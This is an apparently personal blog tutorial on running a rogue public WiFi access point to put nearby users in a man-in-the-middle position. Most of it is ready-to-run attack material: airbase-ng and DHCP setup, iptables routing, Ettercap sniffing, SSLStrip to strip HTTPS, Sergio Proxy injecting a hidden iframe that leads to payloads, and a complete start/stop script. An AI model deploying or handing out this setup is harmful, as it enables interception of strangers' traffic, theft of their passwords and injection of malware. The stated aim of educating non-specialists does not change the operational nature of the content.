

Rogue WiFi Access point

I. Introduction.

I know that writing "yet another rogue AP tutorial" is not very challenging but after two years I want to start with fun stuff. Hopefully you can also learn one or two things here!

Note : The commands described in this article were tested on an XUbuntu 12.04 machine, it is easy to adapt them on another system.

II. Theory

II.1 Scenario

Imagine a public space, airport, hotel, etc. A crowd of people waiting, reading.. and using the public WiFi. Imagine one of the guys in the crowd has setup his own WiFi access point with a name like FreeWifi, HotelWifi or even the same name as the real public WiFi. How long will it be before a significant part of the audience connects to his access point? And what if his access point is in fact full of spying tools and other traps?

II.2 Man In the Middle

Man In The Middle attacks occurs when a malicious individual manages to master a point of communication between his targets. In our case we can control all the communication between the public space users and the Internet.

There are several ways to get into Man In the Middle situation (MITM) ARP spoofing or DHCP spoofing for example.

Another MITM type is to control a WiFi access point. All the clients connected to your access point have to pass through the machine to access to the Internet. It is the same as controlling a router. This peculiar attack cannot allow to directly target someone, instead the attacker waits for people to connect themselves. However, if a special target is in WiFi range and in a public space there are some chances that he will connect to the rogue AP. Rogue access points can be used to steal password, hijack communications, inject malwares into the victims PC.

I personally also see a great interest in rogue AP as it is an easy way to enlighten non specialists on threats related to WiFi security and man in the middle issue.

III. Practice

III.1 Setup WiFi Access point

The tool we will use to setup a rogue access point is airbase-ng from Aircrack toolsuit. Aircrack is not by default in Ubuntu repository, if you want to get the latest version or to learn more about Aircrack have a look at <http://www.aircrack-ng.org/>

A prerequisite to use most Aircrack tools is to have a Wifi card which can be passed into monitor mode. I personally use an Alfa Awus using Realtek Rtl-8187 chipset.

Warning : RTL-8187 drivers are a big issue on Ubuntu as the default provided ones does not work properly (disconnections, invisible SSID with airbase, etc). To avoid these problems I recommend you install Aircrack patched drivers or drivers provided by globalszygy on his blog

Starting a rogue AP is pretty simple. First we put the interface we want in monitor mode using airmon-ng. In my case wlan1. You must not be using that interface to connect to any WiFi network.

```
airmon-ng start wlan1
```

Note : You might see warning about processes that could cause trouble (NetworkManager, wpa_supplicant, dhclient, etc). This issue has an impact when using other Aircrack tools such as airodump-ng and aireplay-ng but in our case we can ignore it.

Next we use airbase to create a fake Access Point called "OpenWifi" on WiFi channel 6.

```
airbase-ng -e OpenWifi -c 6 mon0
```

At this point a network interface, at0, is created for the access point.

We will now configure a DHCP server to provide a dynamic IP address to people connecting to our access point.

We use the Ubuntu default dhcp server:

```
dhcpcd -d -f -cf dhcpcd_ap.conf at0 &
```

Here, we use a custom dhcpcd configuration file that you can find in section IV.

You should see the WiFi SSID on the available network and you should be able to connect to it from, for example, your cellphone. However it cannot be used as an Internet access point for the moment.

III.2 Provide Internet access

To provide Internet access to your AP client you need to set up routing between your AP interface and your Internet interface. In my case my network interface is my laptop native WiFi card on wlan0. You can also use Ethernet link, cellphone or any other network interface. For that we must transform our computer into a router.

First we use ifconfig to set an IP address and a mask to our Access Point network interface.

```
ifconfig at0 up
ifconfig at0 192.168.3.1 netmask 255.255.255.0
```

Then, we add a route and indicate that our IP is the local network router for the access point.

```
route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
```

Next we configure IPTable to accept routing:

```
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
```

Finally we activate IP forwarding in the kernel:

```
echo "1" > /proc/sys/net/ipv4/ip_forward
```

III.3 Exploit MITM situation

At that point you can start your access point and be thus in MITM position between your AP clients and the Internet. Now you could use any tool you want to sniff, alter, or block the traffic. I am going to present three tools that can be used when in man in the middle situation.

Sniff the network using the famous Ettercap:

```
xterm -bg black -fg blue -e ettercap --silent -T -q -p --log-msg
ettercap.log -i at0 // // &
```

Here we launch an external Ettercap terminal, important sniffed information will be displayed on the terminal and write in the ettercap.log file. In our case we do not use ettercap MITM capacity since we are already in MITM situation.

Bypass HTTPS protection using SSLStrip. This tool is used to prevent the TLS tunnel to be made between the client and the website, instead the tunnel is made between the MITM attacker and the website, the victim only receives clear-text http information. For more information have a look at this site.

First we configure iptables to intercept HTTP traffic and redirect it to port 15000:

```
iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j  
REDIRECT --to-port 15000
```

Next we start SSLStrip listening on port 15000 and logging everything in SSLStrip_log.txt

```
sslstrip -w SSLStrip_log.txt -a -l 15000 -f &
```

Inject malicious HTML in the consulted web pages. For that I will use Sergio Proxy which is a very neat tool for MITM situation. Its embed SSLStrip and can allow to do all kind of injection and other attacks.

In my case I want to include an invisible iframe pointing on my PC on the client's browser. This attack can be used in conjunction with Metasploit, SET or BEEF to do all kind of attacks like displaying an applet that install a malicious payload, attack browser potential vulnerability, replace files downloaded by the AP client by malicious files, etc. HTML injection is very easy to use with Sergio Proxy.

As for SSLStrip we configure iptables to intercept HTTP traffic and redirect it to port 15000:

```
iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j  
REDIRECT --to-port 15000
```

Next we start Sergio Proxy with inject URL option that writes a size 0 IFRAME at the bottom of the two first pages visited by the AP client.

```
/opt/sergio-proxy/sergio-proxy.py -l 15000 --inject --html-url  
"http://192.168.3.1/index" -w ${LOGS_PATH}/SSLStrip_log.txt -a -k --  
count-limit 2 &
```

IV. Complete scripts.

IV.1 Rogue AP script

Save the next script as rogueAP.sh

```
#!/bin/bash

##### Configuration constants #####

LOGS_PATH="/home/me/tests/fakewifilogs/$(date '+%Y-%m-%d_%H-%M') "

OUTPUT_INTERFACE="wlan0"
ROGUE_AP_INTERFACE="wlan1"
ROGUE_AP_CHANNEL=6
```

```

ROGUE_AP_SSID="OpenWifi"
DHCPD_CONF_FILE="/etc/dhcp/dhcpd_ap.conf"
USE_SSLSTRIP="no"
USE_ETTERCAP="yes"
USE_SERGIO="no" # Note: incompatible with USE_SSLSTRIP (also
launches its own SSL strip tool)

#####

if [ "$1" == "stop" ];then
    echo "Killing Airbase-ng..."
    pkill airbase-ng
    sleep 3;
    echo "Killing DHCP..."
    pkill dhcpd
    rm /var/run/dhcpd.pid
    sleep 3;
    echo "Flushing iptables"
    iptables -flush
    iptables --table nat -flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    if [ "$USE_SSLSTRIP" == "yes" ]
    then
        echo "killing sslstrip"
        killall sslstrip
    fi
    if [ "$USE_ETTERCAP" == "yes" ]
    then
        echo "Kill all ettercap"
        killall -9 ettercap
    fi

    if [ "$USE_SERGIO" == "yes" ]
    then
        echo "Kill sergio proxy"
        pkill -9 -f sergio-proxy
    fi

    echo "disabling IP Forwarding"
    echo "0" > /proc/sys/net/ipv4/ip_forward

    echo "Stop airmon-ng on mon0"
    airmon-ng stop mon0

```

```

elif [ "$1" == "start" ]
then
    echo "Tools output stored in ${LOGS_PATH}"

    mkdir -p "${LOGS_PATH}"

    echo "Putting card in monitor mode"
    airmon-ng start $ROGUE_AP_INTERFACE
    sleep 5;
    echo "Starting Fake AP..."
    airbase-ng -e "$ROGUE_AP_SSID" -c $ROGUE_AP_CHANNEL mon0 &
    sleep 5;

    echo "configuring interface at0 according to dhcpd config"
    ifconfig at0 up
    ifconfig at0 192.168.3.1 netmask 255.255.255.0
    echo "adding a route"
    route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
    sleep 5;
    echo "configuring iptables"
    iptables -P FORWARD ACCEPT
    iptables -t nat -A POSTROUTING -o $OUTPUT_INTERFACE -j MASQUERADE
    if [ "$USE_SSLTRIP" == "yes" ]
    then
        echo "setting up sslstrip interception"
        iptables -t nat -A PREROUTING -p tcp -i at0 --destination-
port 80 -j REDIRECT --to-port 15000

        echo "SSLStrip running... "
        sslstrip -w ${LOGS_PATH}/SSLStrip_log.txt -a -l 15000 -f &
        sleep 2;
    fi

    echo "clearing lease table"
    echo > '/var/lib/dhcp/dhcpd.leases'

    cp ./dhcpd.conf $DHCPD_CONF_FILE
    echo "starting new DHCPD server"
    ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid

    dhcpd -d -f -cf "$DHCPD_CONF_FILE" at0 &
    sleep 5;
    if [ "$USE_ETTERCAP" == "yes" ]
    then
        echo "Launching ettercap, spy all hosts on the at0

```

```

interface's subnet"
    xterm -bg black -fg blue -e ettercap --silent -T -q -p --
log-msg ${LOGS_PATH}/ettercap.log -i at0 // // &
    sleep 8
fi

if [ "$USE_SERGIO" == "yes" ]
then
    iptables -t nat -A PREROUTING -p tcp -i at0 --destination-
port 80 -j REDIRECT --to-port 15000 # Redirection de http vers port
15000
    echo "Starting sergio proxy to inject javascript"
    /opt/sergio-proxy/sergio-proxy.py -l 15000 --inject --
html-url "http://192.168.3.1/index" -w ${LOGS_PATH}/SSLStrip_log.txt
-a -k & # --count-limit 2
fi

echo "Enable IP Forwarding"
echo "1" > /proc/sys/net/ipv4/ip_forward

else
    echo "usage: ./rogueAP.sh stop|start"
fi

```

This script must be launched as root and allows to start and stop your rogue access point.

Start AP:

```
sudo ./rogueAP.sh start
```

Stop AP:

```
sudo ./rogueAP.sh stop
```

IV.2 DHCP configuration

The next code describes the content of the DHCP configuration file. This file must be called `dhcpd.conf` and must be located next to the `rogueAP.sh` script. When the `rogueAP` is started the DHCP file will be copied in `/etc/dhcp/dhcpd_ap.conf`.

```

# using google dns servers
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
option T150 code 150 = string;

```

```
deny client-updates;
one-lease-per-client false;
allow bootp;
ddns-updates off;
ddns-update-style none;
authoritative;

# option particular to the Rogue AP network
subnet 192.168.3.0 netmask 255.255.255.0 {
  interface at0;
  range 192.168.3.2 192.168.3.254;
  option routers 192.168.3.1;
  option subnet-mask 255.255.255.0;
  option broadcast-address 192.168.3.255;
  option domain-name-servers 8.8.8.8;
  allow unknown-clients;
}
```